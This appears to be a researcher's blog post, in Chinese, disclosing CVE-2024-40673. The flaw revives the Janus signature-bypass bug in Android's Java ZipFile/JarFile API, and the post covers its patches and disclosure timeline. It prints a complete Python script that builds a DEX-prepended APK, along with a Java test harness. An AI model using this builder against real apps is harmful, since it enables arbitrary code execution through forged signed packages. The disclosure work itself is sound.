背景
Google在2024年10月的Android安全公告中,终于披露了我之前发现的CVE-2024-40673漏洞,并给予了高严重性和RCE的漏洞分类。这个漏洞的发现过程也算是机缘巧合,今天就来聊聊CVE-2024-40673这个漏洞。
CVE-2017-13156
因为标题是“Janus漏洞再现”,所以有必要先来回顾一下Janus漏洞,也就是CVE-2017-13156。这个漏洞讲述的是在APK V1签名校验的过程中没有对APK文件头进行检查,使得攻击者可以在APK文件前面拼接一个DEX文件,实现执行任意代码。这个漏洞的核心点有二:
- Android系统中的ZIP文件解析的时候是从文件末尾逐个读取解析ZipEntry,并按照偏移提取每个文件,而没有关注文件头是否是合法的ZIP文件magic;
- ART虚拟机会检查文件头是DEX还是ZIP,从而决定是加载一个DEX文件还是一个APK文件。
结果就是ZIP文件解析的时候忽略掉了DEX,而ART加载的时候却加载了头部的DEX文件,造成了签名检查绕过,执行任意代码。然后我们再看这个漏洞的补丁:
uint32_t lfh_start_bytes;
if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes),
sizeof(uint32_t), 0)) {
ALOGW("Zip: Unable to read header for entry at offset == 0.");
return -1;
}
if (lfh_start_bytes != LocalFileHeader::kSignature) {
ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes);
#if defined(__ANDROID__)
android_errorWriteLog(0x534e4554, "64211847");
#endif
return -1;
}
修改的文件是/system/core/libziparchive/zip_archive.cc
,是属于libziparchive
模块,查看该模块的Android.bp
文件发现,这个模块提供了unzip
这个binary,也就是说2017年Google是对unzip
这个二进制进行了修复。那么在Android中还有没有其他解压缩的API呢?
Java ZipEntry API
实际上在Java层也有处理ZIP文件的API,也就是ZipEntry API,使用方法如下:
ZipFile zipFile = new ZipFile(zipFile);
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements()) {
ZipEntry entry = zipEntries.nextElement();
Log.i(TAG, "ZipEntry: " + entry.getName());
}
同时Android还提供了JarEntry,查看代码发现实际上就是ZipEntry的封装,不再赘述。那么这两个API有没有检查ZIP文件头的magic呢?答案居然是没有:
private void exploitJanus() {
try {
PackageManager pm = getPackageManager();
AssetManager assetManager = getAssets();
File outJarFile = new File(getFilesDir(), "exp.apk");
FileOutputStream fos = new FileOutputStream(outJarFile);
long sizeCopied = FileUtils.copy(assetManager.open("exp.apk"), fos);
if (sizeCopied > 0) {
Log.i(TAG, "Copy success: " + sizeCopied);
JarFile jarFile = new JarFile(outJarFile);
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
Log.i(TAG, "JarEntry: " + entry.getName());
}
jarFile.close();
ZipFile zipFile = new ZipFile(outJarFile);
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements()) {
ZipEntry entry = zipEntries.nextElement();
Log.i(TAG, "ZipEntry: " + entry.getName());
}
jarFile.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
这个exp.apk是由CVE-2017-13156的利用代码实现的:
#!/usr/bin/python
import sys
import struct
import hashlib
from zlib import adler32
def update_checksum(data):
m = hashlib.sha1()
m.update(data[32:])
data[12:12+20] = m.digest()
v = adler32(memoryview(data[12:])) & 0xffffffff
data[8:12] = struct.pack("<L", v)
def main():
if len(sys.argv) != 4:
print("usage: %s dex apk out_apk" % __file__)
return
_, dex, apk, out_apk = sys.argv
with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)
with open(apk, 'rb') as f:
apk_data = bytearray(f.read())
cd_end_addr = apk_data.rfind(b'\x50\x4b\x05\x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)
pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
pos = apk_data.find(b"\x50\x4b\x01\x02", pos+46, cd_end_addr)
if pos == -1:
break
out_data = dex_data + apk_data
out_data[32:36] = struct.pack("<L", len(out_data))
update_checksum(out_data)
with open(out_apk, "wb") as f:
f.write(out_data)
print ('%s generated' % out_apk)
if __name__ == '__main__':
main()
DEX和APK文件可以自己选择,经过测试发现,在2024-10-01之前补丁的Android 14设备上,ZIP文件可以被正常解析并且不会出现任何错误和异常,头部的DEX被完全忽略。
ART的处理逻辑
上面我们提到了,ART虚拟机会检查文件头是DEX还是ZIP,从而决定是加载一个DEX文件还是一个APK文件,那么这个特性有没有变化呢?我们使用dex2oat
命令进行了测试发现,这个特性没有变化,app_process
命令理应也如此,毕竟在2017年修复漏洞时,Google并没有对ART引入任何漏洞的修复,而且这个判断文件头的逻辑也比较合理,没有修改的必要。
总结
由于PackageManagerService是利用libziparchive
去解析ZIP文件的,所以这个漏洞并不像当年Janus漏洞一样可以直接通过安装一个APK来实现。但是我发现很多应用的动态代码加载(DCL)逻辑还是使用的V1签名,并且还是利用JarEntry API去进行的解析,那么这部分应用的不安全的DCL就会受到影响。这也是Google经过综合考虑将该漏洞授予RCE分类,而当年的Janus漏洞却只是EoP分类的原因。这里可以看到Google是从整个Android生态系统的角度来看待安全,就好像之前“修复”了unzip
命令的路径回溯问题一样,对于这类API上的问题,不能只考虑对系统的影响,也要考虑生态系统中可能存在很多“小白”开发者直接误用这些API的风险。由此给Google对Android生态系统负责任的态度点一个赞。
补丁
在Java ZipEntry API的底层库libcore/ojluni
中修复了这个问题:
// BEGIN Android-changed: do not accept files with invalid header.
if (!LOCSIG_AT(errbuf) && !ENDSIG_AT(errbuf)) {
if (pmsg) {
*pmsg = strdup("Entry at offset zero has invalid LFH signature.");
}
ZFILE_Close(zfd);
freeZip(zip);
return NULL;
}
// END Android-changed: do not accept files with invalid header.
并且commit中也描述了:
This aligns ZipFile with libziparchive modulo empty zip files – libziparchive rejects them.
时间线
2023-11-09 初始报告提交到了Google IssueTracker
2024-01-10 因为之前的报告没有得到回应,重新提交报告到了Google Bug Hunters
2024-01-16 与Google确认了漏洞部分的细节
2024-02-26 Google确认漏洞,级别为高
2024-09-25 Google分配CVE编号CVE-2024-40673,并确认将在2024-10-01补丁中发布
2024-10-08 Google发布2024-10的Android安全公告披露漏洞补丁
2024-10-10 本文章发表